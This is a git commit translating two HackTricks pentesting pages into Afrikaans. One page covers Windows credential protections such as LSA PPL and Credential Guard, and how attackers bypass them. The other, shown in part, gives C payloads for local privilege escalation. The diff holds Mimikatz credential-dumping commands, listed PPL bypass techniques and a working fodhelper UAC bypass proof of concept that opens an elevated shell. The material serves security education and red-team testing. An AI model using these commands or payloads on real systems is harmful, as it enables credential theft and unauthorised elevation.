Translated ['', 'src/windows-hardening/stealing-credentials/credentials-

This commit is contained in:
Translator 2025-08-26 22:12:08 +00:00
parent fcbf83e8cb
commit 0ab7856919
2 changed files with 176 additions and 67 deletions

View File

@ -1,117 +1,174 @@
# Windows Credentials Protections
# Windows Credentials Beskermings
{{#include ../../banners/hacktricks-training.md}}
## WDigest
Die [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protokol, wat met Windows XP bekendgestel is, is ontwerp vir autentisering via die HTTP Protokol en is **standaard geaktiveer op Windows XP deur Windows 8.0 en Windows Server 2003 tot Windows Server 2012**. Hierdie standaardinstelling lei tot **planktekst wagwoordopberging in LSASS** (Local Security Authority Subsystem Service). 'n Aanvaller kan Mimikatz gebruik om **hierdie kredensiale** te **onttrek** deur die volgende uit te voer:
Die [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocol, geïntroduceer met Windows XP, is ontwerp vir verifikasie via die HTTP Protocol en is **enabled by default on Windows XP through Windows 8.0 and Windows Server 2003 to Windows Server 2012**. Hierdie standaardinstelling lei tot **plain-text password storage in LSASS** (Local Security Authority Subsystem Service). 'n Aanvaller kan Mimikatz gebruik om **extract these credentials** deur die volgende uit te voer:
```bash
sekurlsa::wdigest
```
Om **hierdie kenmerk aan of af te skakel**, moet die _**UseLogonCredential**_ en _**Negotiate**_ registersleutels binne _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ op "1" gestel word. As hierdie sleutels **afwesig of op "0" gestel is**, is WDigest **gedeaktiveer**:
Om **hierdie funksie af of aan te skakel**, moet die _**UseLogonCredential**_ en _**Negotiate**_ registersleutels binne _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ op "1" gestel word. As hierdie sleutels **afwesig of op "0" gestel is**, is WDigest **uitgeskakel**:
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
```
## LSA-beskerming (PP & PPL-beskermde prosesse)
## LSA Protection (PP & PPL protected processes)
**Beskermde Proses (PP)** en **Beskermde Proses Lig (PPL)** is **Windows-kernvlak beskermingsmaatreëls** wat ontwerp is om ongeoorloofde toegang tot sensitiewe prosesse soos **LSASS** te voorkom. Ingevoerd in **Windows Vista**, is die **PP-model** oorspronklik geskep vir **DRM** afdwinging en het slegs binaries toegelaat wat met 'n **spesiale media-sertifikaat** gesertifiseer is om beskerm te word. 'n Proses wat as **PP** gemerk is, kan slegs deur ander prosesse wat **ook PP** is en 'n **gelyke of hoër beskermingsvlak** het, benader word, en selfs dan, **slegs met beperkte toegangsregte** tensy spesifiek toegelaat.
**Protected Process (PP)** en **Protected Process Light (PPL)** is **Windows-kernvlakbeskerming** wat ontwerp is om ongemagtigde toegang tot sensitiewe prosesse soos **LSASS** te voorkom. Ingevoer in **Windows Vista**, is die **PP-model** oorspronklik geskep vir **DRM**-afdwinging en het slegs binaries wat met 'n **spesiale media-sertifikaat** onderteken is toegelaat om beskerm te word. 'n Proses wat as **PP** gemerk is, kan slegs deur ander prosesse wat **ook PP** is en 'n **gelyke of hoër beskermingsvlak** het, benader word, en selfs dan **slegs met beperkte toegangsregte** tensy dit spesifiek toegestaan is.
**PPL**, wat in **Windows 8.1** bekendgestel is, is 'n meer buigsame weergawe van PP. Dit laat **breër gebruiksgevalle** toe (bv. LSASS, Defender) deur **"beskermingsvlakke"** in te voer wat gebaseer is op die **digitale handtekening se EKU (Enhanced Key Usage)** veld. Die beskermingsvlak word in die `EPROCESS.Protection` veld gestoor, wat 'n `PS_PROTECTION` struktuur is met:
- **Tipe** (`Protected` of `ProtectedLight`)
- **Signer** (bv. `WinTcb`, `Lsa`, `Antimalware`, ens.)
**PPL**, ingevoer in **Windows 8.1**, is 'n meer buigsame weergawe van PP. Dit laat **breër gebruiksgevalle** toe (bv., LSASS, Defender) deur **"protection levels"** in te stel gebaseer op die **digital signatures EKU (Enhanced Key Usage)** veld. Die beskermingsvlak word gestoor in die `EPROCESS.Protection` veld, wat 'n `PS_PROTECTION` struktuur is met:
- **Type** (`Protected` or `ProtectedLight`)
- **Signer** (bv., `WinTcb`, `Lsa`, `Antimalware`, ens.)
Hierdie struktuur is in 'n enkele byte gepak en bepaal **wie wie kan benader**:
- **Hoër signer waardes kan laer ones benader**
- **PPL's kan nie PP's benader nie**
- **Onbeskermde prosesse kan geen PPL/PP benader nie**
Hierdie struktuur is in een byte gepak en bepaal **wie wie kan benader**:
- **Hoër signer-waardes kan laer eenhede benader**
- **PPLs kan nie PPs benader nie**
- **Onbeskermde prosesse kan nie enige PPL/PP benader nie**
### Wat jy moet weet vanuit 'n offensiewe perspektief
### Wat jy vanuit 'n offensiewe oogpunt moet weet
- Wanneer **LSASS as 'n PPL loop**, misluk pogings om dit te open met `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` vanuit 'n normale admin-konteks **met `0x5 (Toegang Weier)`**, selfs al is `SeDebugPrivilege` geaktiveer.
- Jy kan **LSASS-beskermingsvlak** nagaan met gereedskap soos Process Hacker of programmaties deur die `EPROCESS.Protection` waarde te lees.
- LSASS sal tipies `PsProtectedSignerLsa-Light` (`0x41`) hê, wat **slegs deur prosesse gesertifiseer met 'n hoër vlak signer** soos `WinTcb` (`0x61` of `0x62`) benader kan word.
- PPL is 'n **slegs gebruikersvlak beperking**; **kernvlak kode kan dit ten volle omseil**.
- LSASS wat PPL is, **verhoed nie kredensieeldumping as jy kern-shelkode kan uitvoer** of **'n hoë-bevoegdheid proses met behoorlike toegang kan benut** nie.
- **Stel of verwyder PPL** vereis herlaai of **Secure Boot/UEFI-instellings**, wat die PPL-instelling kan volhard selfs nadat registerveranderings omgekeer is.
- Wanneer **LSASS** as 'n **PPL** loop, misluk pogings om dit te open met `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` vanaf 'n normale admin-konteks met `0x5 (Access Denied)`, selfs al is `SeDebugPrivilege` geaktiveer.
- Jy kan die LSASS-beskermingsvlak nagaan deur hulpmiddels soos **Process Hacker** te gebruik of programmaties die `EPROCESS.Protection` waarde te lees.
- LSASS sal tipies `PsProtectedSignerLsa-Light` (`0x41`) hê, wat slegs benader kan word deur prosesse wat met 'n hoër vlak signer onderteken is, soos `WinTcb` (`0x61` of `0x62`).
- PPL is 'n **Userland-only** beperking; **kernel-level** kode kan dit volledig omseil.
- LSASS wat PPL is verhoed nie **credential dumping** as jy kernel shellcode kan uitvoer of 'n hooggeprivilegieerde proses met die nodige toegang kan benut nie.
- Om PPL te stel of te verwyder vereis 'n herbegin of **Secure Boot/UEFI**-instellings, wat die PPL-instelling kan behou selfs nadat registerveranderinge teruggedra is.
**Omseil PPL-beskermingsopsies:**
### Create a PPL process at launch (documented API)
As jy LSASS wil dump ten spyte van PPL, het jy 3 hoof opsies:
1. **Gebruik 'n gesertifiseerde kern bestuurder (bv. Mimikatz + mimidrv.sys)** om **LSASS se beskermingsvlag te verwyder**:
Windows bied 'n gedokumenteerde manier om 'n Protected Process Light-vlak te versoek vir 'n child process tydens skepping deur die uitgebreide opstartattribuutlys te gebruik. Dit omseil nie ondertekeningsvereistes nie — die teikenbeeld moet onderteken wees vir die versoekte signer class.
Minimale vloei in C/C++:
```c
// Request a PPL protection level for the child process at creation time
// Requires Windows 8.1+ and a properly signed image for the selected level
#include <windows.h>
int wmain(int argc, wchar_t **argv) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
if (!si.lpAttributeList) return 1;
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
if (!UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&level, sizeof(level), NULL, NULL)) {
return 1;
}
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
flags, NULL, NULL, &si.StartupInfo, &pi)) {
// If the image isn't signed appropriately for the requested level,
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
return 1;
}
// cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Aantekeninge en beperkings:
- Gebruik `STARTUPINFOEX` met `InitializeProcThreadAttributeList` en `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, en gee dan `EXTENDED_STARTUPINFO_PRESENT` deur aan `CreateProcess*`.
- Die protection `DWORD` kan gestel word op konstantes soos `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, of `PROTECTION_LEVEL_LSA_LIGHT`.
- Die child begin slegs as PPL as sy image vir daardie signer-klas geteken is; anders falen prosescreasie, gewoonlik met `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
- Dit is nie 'n omseiling nie — dit is 'n ondersteunde API bedoel vir behoorlik getekende images. Nuttig om tools te verhardeer of PPL-beskermde konfigurasies te valideer.
Example CLI using a minimal loader:
- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
**Opsies om PPL-beskerming te omseil:**
As jy LSASS wil dump ten spyte van PPL, het jy 3 hoofopsies:
1. **Gebruik 'n ondertekende kernel driver (bv. Mimikatz + mimidrv.sys)** om **LSASS se beskermingsvlag te verwyder**:
![](../../images/mimidrv.png)
2. **Bring Your Own Vulnerable Driver (BYOVD)** om pasgemaakte kernkode te loop en die beskerming te deaktiveer. Gereedskap soos **PPLKiller**, **gdrv-loader**, of **kdmapper** maak dit haalbaar.
3. **Steal an existing LSASS handle** from another process that has it open (e.g., an AV process), then **duplicate it** into your process. This is the basis of the `pypykatz live lsa --method handledup` technique.
4. **Misbruik 'n sekere bevoegde proses** wat jou sal toelaat om arbitrêre kode in sy adresruimte of binne 'n ander bevoegde proses te laai, wat effektief die PPL-beperkings omseil. Jy kan 'n voorbeeld hiervan nagaan in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) of [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
2. **Bring Your Own Vulnerable Driver (BYOVD)** om pasgemaakte kernel-kode uit te voer en die beskerming te deaktiveer. Gereedskap soos **PPLKiller**, **gdrv-loader**, of **kdmapper** maak dit moontlik.
3. **Steel 'n bestaande LSASS-handle** van 'n ander proses wat dit oop het (bv. 'n AV-proses), en **dupliseer dit** dan in jou proses. Dit is die basis van die `pypykatz live lsa --method handledup` tegniek.
4. **Misbruik 'n bevoorregte proses** wat jou toelaat om arbitrêre kode in sy adresruimte of binne 'n ander bevoorregte proses te laai, en sodoende die PPL-beperkings omseil. Jy kan 'n voorbeeld hiervan sien in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) of [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
**Kontroleer die huidige status van LSA-beskerming (PPL/PP) vir LSASS**:
**Kontroleer huidige status van LSA-beskerming (PPL/PP) vir LSASS**:
```bash
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
```
Wanneer jy **`mimikatz privilege::debug sekurlsa::logonpasswords`** uitvoer, sal dit waarskynlik misluk met die foutkode `0x00000005` as gevolg van hierdie.
Wanneer jy **`mimikatz privilege::debug sekurlsa::logonpasswords`** uitvoer, sal dit waarskynlik misluk met foutkode `0x00000005` as gevolg hiervan.
- Vir meer inligting oor hierdie kontrole: [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
- Vir meer inligting oor hierdie, kyk [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
## Credential Guard
**Credential Guard**, 'n kenmerk wat eksklusief is vir **Windows 10 (Enterprise en Education edisies)**, verbeter die sekuriteit van masjien kredensiale deur gebruik te maak van **Virtual Secure Mode (VSM)** en **Virtualization Based Security (VBS)**. Dit benut CPU virtualisering uitbreidings om sleutelprosesse binne 'n beskermde geheue ruimte te isoleer, weg van die hoofbedryfstelsel se bereik. Hierdie isolasie verseker dat selfs die kernel nie toegang tot die geheue in VSM kan verkry nie, wat kredensiale effektief beskerm teen aanvalle soos **pass-the-hash**. Die **Local Security Authority (LSA)** werk binne hierdie veilige omgewing as 'n trustlet, terwyl die **LSASS** proses in die hoof OS bloot as 'n kommunikeerder met die VSM se LSA optree.
**Credential Guard**, 'n funksie uitsluitlik beskikbaar in **Windows 10 (Enterprise and Education editions)**, verbeter die veiligheid van masjienkredensiale deur gebruik te maak van **Virtual Secure Mode (VSM)** en **Virtualization Based Security (VBS)**. Dit maak gebruik van CPU-virtualiseringsuitbreidings om sleutelprosesse te isoleer in 'n beskermde geheuegebied, buite die bereik van die hoofbedryfstelsel. Hierdie isolasie verseker dat selfs die kernel nie toegang tot die geheue in VSM het nie, wat kredensiale effektief beskerm teen aanvalle soos **pass-the-hash**. Die **Local Security Authority (LSA)** werk binne hierdie veilige omgewing as 'n trustlet, terwyl die **LSASS**-proses in die hoof-OS slegs as 'n kommunikeerder met die VSM se LSA optree.
Standaard is **Credential Guard** nie aktief nie en vereis handmatige aktivering binne 'n organisasie. Dit is krities vir die verbetering van sekuriteit teen gereedskap soos **Mimikatz**, wat belemmer word in hul vermoë om kredensiale te onttrek. Tog kan kwesbaarhede steeds uitgebuit word deur die toevoeging van pasgemaakte **Security Support Providers (SSP)** om kredensiale in duidelike teks tydens aanmeldpogings te vang.
Standaard is **Credential Guard** nie geaktiveer nie en vereis handmatige aktivering binne 'n organisasie. Dit is 'n belangrike maatstaf om die sekuriteit teen gereedskap soos **Mimikatz** te verbeter, wat belemmer word in hul vermoë om kredensiale te onttrek. Nietemin kan kwesbaarhede steeds uitgebuit word deur die toevoeging van pasgemaakte **Security Support Providers (SSP)** om kredensiale in duidelike teks te vang tydens aanmeldpogings.
Om die aktiveringsstatus van **Credential Guard** te verifieer, kan die register sleutel _**LsaCfgFlags**_ onder _**HKLM\System\CurrentControlSet\Control\LSA**_ nagegaan word. 'n Waarde van "**1**" dui aktivering met **UEFI slot** aan, "**2**" sonder slot, en "**0**" dui aan dat dit nie geaktiveer is nie. Hierdie registerkontrole, terwyl 'n sterk aanduiding, is nie die enigste stap om Credential Guard te aktiveer nie. Gedetailleerde leiding en 'n PowerShell-skrip om hierdie kenmerk te aktiveer, is aanlyn beskikbaar.
Om die aktiveringsstatus van **Credential Guard** te verifieer, kan die registerwaarde _**LsaCfgFlags**_ onder _**HKLM\System\CurrentControlSet\Control\LSA**_ nagegaan word. 'n Waarde van "**1**" dui op aktivering met **UEFI lock**, "**2**" sonder lock, en "**0**" beteken dit is nie aangeskakel nie. Hierdie registerkontrole is, al is dit 'n sterk aanduiding, nie die enigste stap om Credential Guard te aktiveer nie. Gedetaileerde leiding en 'n PowerShell-skrip om hierdie funksie te aktiveer is aanlyn beskikbaar.
```bash
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
```
Vir 'n omvattende begrip en instruksies oor die aktivering van **Credential Guard** in Windows 10 en sy outomatiese aktivering in kompatible stelsels van **Windows 11 Enterprise en Education (weergawe 22H2)**, besoek [Microsoft se dokumentasie](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
Vir 'n omvattende begrip en instruksies oor die aktivering van **Credential Guard** in Windows 10 en die outomatiese aktivering daarvan op versoenbare stelsels van **Windows 11 Enterprise and Education (version 22H2)**, besoek [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
Verder besonderhede oor die implementering van pasgemaakte SSPs vir geloofsbriefvangs word verskaf in [hierdie gids](../active-directory-methodology/custom-ssp.md).
Verdere besonderhede oor die implementering van custom SSPs vir credential capture word verskaf in [hierdie gids](../active-directory-methodology/custom-ssp.md).
## RDP RestrictedAdmin Mode
**Windows 8.1 en Windows Server 2012 R2** het verskeie nuwe sekuriteitskenmerke bekendgestel, insluitend die _**Restricted Admin mode vir RDP**_. Hierdie modus is ontwerp om sekuriteit te verbeter deur die risiko's wat verband hou met [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) aanvalle te verminder.
**Windows 8.1 and Windows Server 2012 R2** het verskeie nuwe sekuriteitskenmerke bekendgestel, insluitend die _**Restricted Admin mode for RDP**_. Hierdie modus is ontwerp om sekuriteit te verbeter deur die risiko's wat geassosieer word met [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) aanvalle te verminder.
Tradisioneel, wanneer jy met 'n afstandrekenaar via RDP verbind, word jou geloofsbriewe op die teikenmasjien gestoor. Dit stel 'n beduidende sekuriteitsrisiko in, veral wanneer jy rekeninge met verhoogde regte gebruik. Met die bekendstelling van _**Restricted Admin mode**_ word hierdie risiko egter aansienlik verminder.
Tradisioneel, wanneer daar via RDP met 'n afstandrekenaar verbind word, word jou credentials op die teikenmasjien gestoor. Dit vorm 'n beduidende sekuriteitsrisiko, veral by die gebruik van rekeninge met verhoogde voorregte. Met die bekendstelling van _**Restricted Admin mode**_ word hierdie risiko egter aansienlik verminder.
Wanneer 'n RDP-verbinding met die opdrag **mstsc.exe /RestrictedAdmin** geïnisieer word, word die outentisering na die afstandrekenaar uitgevoer sonder om jou geloofsbriewe daarop te stoor. Hierdie benadering verseker dat, in die geval van 'n malware-infeksie of as 'n kwaadwillige gebruiker toegang tot die afstandbediener verkry, jou geloofsbriewe nie gecompromitteer word nie, aangesien dit nie op die bediener gestoor word nie.
Wanneer 'n RDP-verbinding geïnisieer word met die opdrag **mstsc.exe /RestrictedAdmin**, word otentisering na die afstandrekenaar uitgevoer sonder om jou credentials daarop te stoor. Hierdie benadering verseker dat, in die geval van 'n malware-infeksie of as 'n kwaadwillige gebruiker toegang tot die afstandbediener kry, jou credentials nie gekompromitteer word nie, aangesien hulle nie op die bediener gestoor word nie.
Dit is belangrik om te noem dat in **Restricted Admin mode**, pogings om netwerkbronne vanaf die RDP-sessie te benader nie jou persoonlike geloofsbriewe sal gebruik nie; eerder word die **masjien se identiteit** gebruik.
Dit is belangrik om daarop te let dat in **Restricted Admin mode** pogings om netwerkbronne van die RDP-sessie te bereik nie jou persoonlike credentials sal gebruik nie; in plaas daarvan word die **machine's identity** gebruik.
Hierdie kenmerk merk 'n beduidende stap vorentoe in die beveiliging van afstanddesktopverbindinge en die beskerming van sensitiewe inligting teen blootstelling in die geval van 'n sekuriteitsbreuk.
Hierdie funksie is 'n beduidende stap vorentoe in die beveiliging van remote desktop-verbindinge en in die beskerming van sensitiewe inligting teen blootstelling in die geval van 'n sekuriteitsinbreuk.
![](../../images/RAM.png)
Vir meer gedetailleerde inligting besoek [hierdie hulpbron](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
Vir meer gedetailleerde inligting, sien [hierdie bron](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
## Cached Credentials
Windows beveilig **domein geloofsbriewe** deur die **Local Security Authority (LSA)**, wat aanmeldprosesse met sekuriteitsprotokolle soos **Kerberos** en **NTLM** ondersteun. 'n Sleutelkenmerk van Windows is sy vermoë om die **laaste tien domein aanmeldings** te kas, om te verseker dat gebruikers steeds toegang tot hul rekenaars kan hê, selfs as die **domeinbeheerder aflyn** is—'n voordeel vir skootrekenaargebruikers wat dikwels van hul maatskappy se netwerk af is.
Windows beveilig **domain credentials** via die **Local Security Authority (LSA)** en ondersteun aanmeldprosesse met sekuriteitsprotokolle soos **Kerberos** en **NTLM**. 'n Sleutelfunksie van Windows is die vermoë om die **last ten domain logins** te cache, sodat gebruikers steeds toegang tot hul rekenaars kan hê selfs as die **domain controller** aflyn is — 'n voordeel vir laptopgebruikers wat dikwels weg van hul maatskappy se netwerk is.
Die aantal gekasde aanmeldings is aanpasbaar via 'n spesifieke **registersleutel of groepbeleid**. Om hierdie instelling te besigtig of te verander, word die volgende opdrag gebruik:
Die aantal gecachede aanmeldings kan aangepas word via 'n spesifieke **registry key or group policy**. Om hierdie instelling te sien of te verander, word die volgende opdrag gebruik:
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
Toegang tot hierdie gekapte geloofsbriewe word streng beheer, met slegs die **SYSTEM** rekening wat die nodige regte het om dit te sien. Administrators wat toegang tot hierdie inligting benodig, moet dit met SYSTEM gebruikersregte doen. Die geloofsbriewe word gestoor by: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
Toegang tot hierdie gecachede credentials word streng beheer, slegs die **SYSTEM**-rekening het die nodige toestemmings om dit te besigtig. Administrateurs wat toegang tot hierdie inligting benodig, moet dit doen met SYSTEM-gebruikersprivileges. Die credentials word gestoor by: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
**Mimikatz** kan gebruik word om hierdie gekapte geloofsbriewe te onttrek met die opdrag `lsadump::cache`.
**Mimikatz** kan gebruik word om hierdie gecachede credentials te onttrek met die opdrag `lsadump::cache`.
Vir verdere besonderhede bied die oorspronklike [source](http://juggernaut.wikidot.com/cached-credentials) omvattende inligting.
Vir meer besonderhede verskaf die oorspronklike [source](http://juggernaut.wikidot.com/cached-credentials) omvattende inligting.
## Gekapte Gebruikers
## Protected Users
Lidmaatskap in die **Gekapte Gebruikersgroep** bring verskeie sekuriteitsverbeterings vir gebruikers, wat hoër vlakke van beskerming teen diefstal en misbruik van geloofsbriewe verseker:
Membership in the **Protected Users group** introduceer verskeie sekuriteitsverbeterings vir gebruikers wat hoër vlakke van beskerming teen credential theft en misbruik verseker:
- **Geloofsbrief Delegasie (CredSSP)**: Selfs al is die Groep Beleid instelling vir **Toelaat om standaard geloofsbriewe te delegeren** geaktiveer, sal die platte teks geloofsbriewe van Gekapte Gebruikers nie gekap word nie.
- **Windows Digest**: Begin vanaf **Windows 8.1 en Windows Server 2012 R2**, sal die stelsel nie platte teks geloofsbriewe van Gekapte Gebruikers cache nie, ongeag die Windows Digest status.
- **NTLM**: Die stelsel sal nie platte teks geloofsbriewe van Gekapte Gebruikers of NT eenrigting funksies (NTOWF) cache nie.
- **Kerberos**: Vir Gekapte Gebruikers sal Kerberos-outeentifikasie nie **DES** of **RC4 sleutels** genereer nie, en dit sal ook nie platte teks geloofsbriewe of langtermyn sleutels cache nie, behalwe vir die aanvanklike Ticket-Granting Ticket (TGT) verkryging.
- **Offline Aanmelding**: Gekapte Gebruikers sal nie 'n gekapte verifikator hê wat by aanmelding of ontgrendeling geskep word nie, wat beteken dat offline aanmelding nie vir hierdie rekeninge ondersteun word nie.
- **Credential Delegation (CredSSP)**: Selfs indien die Group Policy instelling vir **Allow delegating default credentials** geaktiveer is, sal plain text credentials van Protected Users nie gecache word nie.
- **Windows Digest**: Vanaf **Windows 8.1 and Windows Server 2012 R2** sal die stelsel nie plain text credentials van Protected Users cache nie, ongeag die Windows Digest-status.
- **NTLM**: Die stelsel sal nie Protected Users se plain text credentials of NT one-way functions (NTOWF) cache nie.
- **Kerberos**: Vir Protected Users sal Kerberos-authentisering nie **DES** of **RC4 keys** genereer nie, en dit sal ook nie plain text credentials of langtermynsleutels buite die aanvanklike Ticket-Granting Ticket (TGT) verkryging cache nie.
- **Offline Sign-In**: Protected Users sal geen gecachede verifiërer by aanmelding of ontsluiting hê nie, wat beteken dat offline sign-in nie vir hierdie rekeninge ondersteun word nie.
Hierdie beskermings word geaktiveer die oomblik wanneer 'n gebruiker, wat 'n lid van die **Gekapte Gebruikersgroep** is, by die toestel aanmeld. Dit verseker dat kritieke sekuriteitsmaatreëls in plek is om te beskerm teen verskeie metodes van geloofsbrief kompromie.
Hierdie beskermings tree in werking sodra 'n gebruiker wat lid is van die **Protected Users group** by die toestel aanmeld. Dit verseker dat kritieke sekuriteitsmaatreëls ingestel is om teen verskeie metodes van credential compromise te beskerm.
Vir meer gedetailleerde inligting, raadpleeg die amptelike [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
**Tabel van** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 |
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
@ -132,4 +189,12 @@ Vir meer gedetailleerde inligting, raadpleeg die amptelike [documentation](https
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
| Server Operators | Server Operators | Server Operators | Server Operators |
## Verwysings
- [CreateProcessAsPPL minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
- [LSASS RunAsPPL background and internals](https://itm4n.github.io/lsass-runasppl/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Hierdie bladsy versamel **klein, self-contained C snippette** wat handig is tydens Windows Local Privilege Escalation of post-exploitation. Elke payload is ontwerp om **copy-paste vriendelik** te wees, vereis slegs die Windows API / C runtime, en kan gekompileer word met `i686-w64-mingw32-gcc` (x86) of `x86_64-w64-mingw32-gcc` (x64).
Hierdie bladsy versamel **klein, selfstandige C-snippets** wat handig is tydens Windows Local Privilege Escalation of post-exploitation. Elke payload is ontwerp om maklik te kopieer en te plak, benodig slegs die Windows API / C runtime, en kan gecompileer word met `i686-w64-mingw32-gcc` (x86) of `x86_64-w64-mingw32-gcc` (x64).
> ⚠️ Hierdie payloads neem aan dat die proses reeds die minimum regte het wat nodig is om die aksie uit te voer (bv. `SeDebugPrivilege`, `SeImpersonatePrivilege`, of medium-integrity konteks vir 'n UAC omseiling). Hulle is bedoel vir **red-team of CTF omgewings** waar die benutting van 'n kwesbaarheid arbitrêre inheemse kode-uitvoering gelewer het.
> ⚠️ Hierdie payloads gaan daarvan uit dat die proses reeds die minimum voorregte het wat nodig is om die aksie uit te voer (bv. `SeDebugPrivilege`, `SeImpersonatePrivilege`, of medium-integrity konteks vir 'n UAC bypass). Dit is bedoel vir **red-team of CTF omgewings** waar die uitbuiting van 'n kwesbaarheid gelei het tot arbitrêre inheemse kode-uitvoering.
---
@ -20,14 +20,14 @@ return 0;
```
---
## UAC Bypass `fodhelper.exe` Registrasie Hijack (Medium → High integriteit)
Wanneer die vertroude binêre **`fodhelper.exe`** uitgevoer word, vra dit die registrasie pad hieronder **sonder om die `DelegateExecute` werkwoord te filter**. Deur ons opdrag onder daardie sleutel te plant, kan 'n aanvaller UAC omseil *sonder* om 'n lêer na skyf te laat val nie.
## UAC Bypass `fodhelper.exe` Registry Hijack (Medium → High integrity)
Wanneer die vertroude binêre **`fodhelper.exe`** uitgevoer word, doen dit navraag na die registerpad hieronder **sonder om die `DelegateExecute` verb te filtreer**. Deur ons opdrag onder daardie sleutel te plant, kan 'n aanvaller UAC bypass *sonder* om 'n lêer op die skyf te skryf.
*Registrasie pad gevra deur `fodhelper.exe`*
*Registerpad wat deur `fodhelper.exe` bevraag word*
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
'n Minimale PoC wat 'n verhoogde `cmd.exe` oopmaak:
'n minimale PoC wat 'n verhoogde `cmd.exe` oopmaak:
```c
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
@ -61,12 +61,12 @@ system("fodhelper.exe");
return 0;
}
```
*Getoets op Windows 10 22H2 en Windows 11 23H2 (Julie 2025 patches). Die omseiling werk steeds omdat Microsoft die ontbrekende integriteitskontrole in die `DelegateExecute` pad nie reggestel het nie.*
*Getoets op Windows 10 22H2 en Windows 11 23H2 (Julie 2025-opdaterings). Die omseiling werk steeds omdat Microsoft nog nie die ontbrekende integriteitskontrole in die `DelegateExecute`-pad reggestel het nie.*
---
## Genereer SYSTEM-skaal via tokenduplisering (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
As die huidige proses **albei** `SeDebug` en `SeImpersonate` regte het (tipies vir baie diensrekeninge), kan jy die token van `winlogon.exe` steel, dit dupliseer, en 'n verhoogde proses begin:
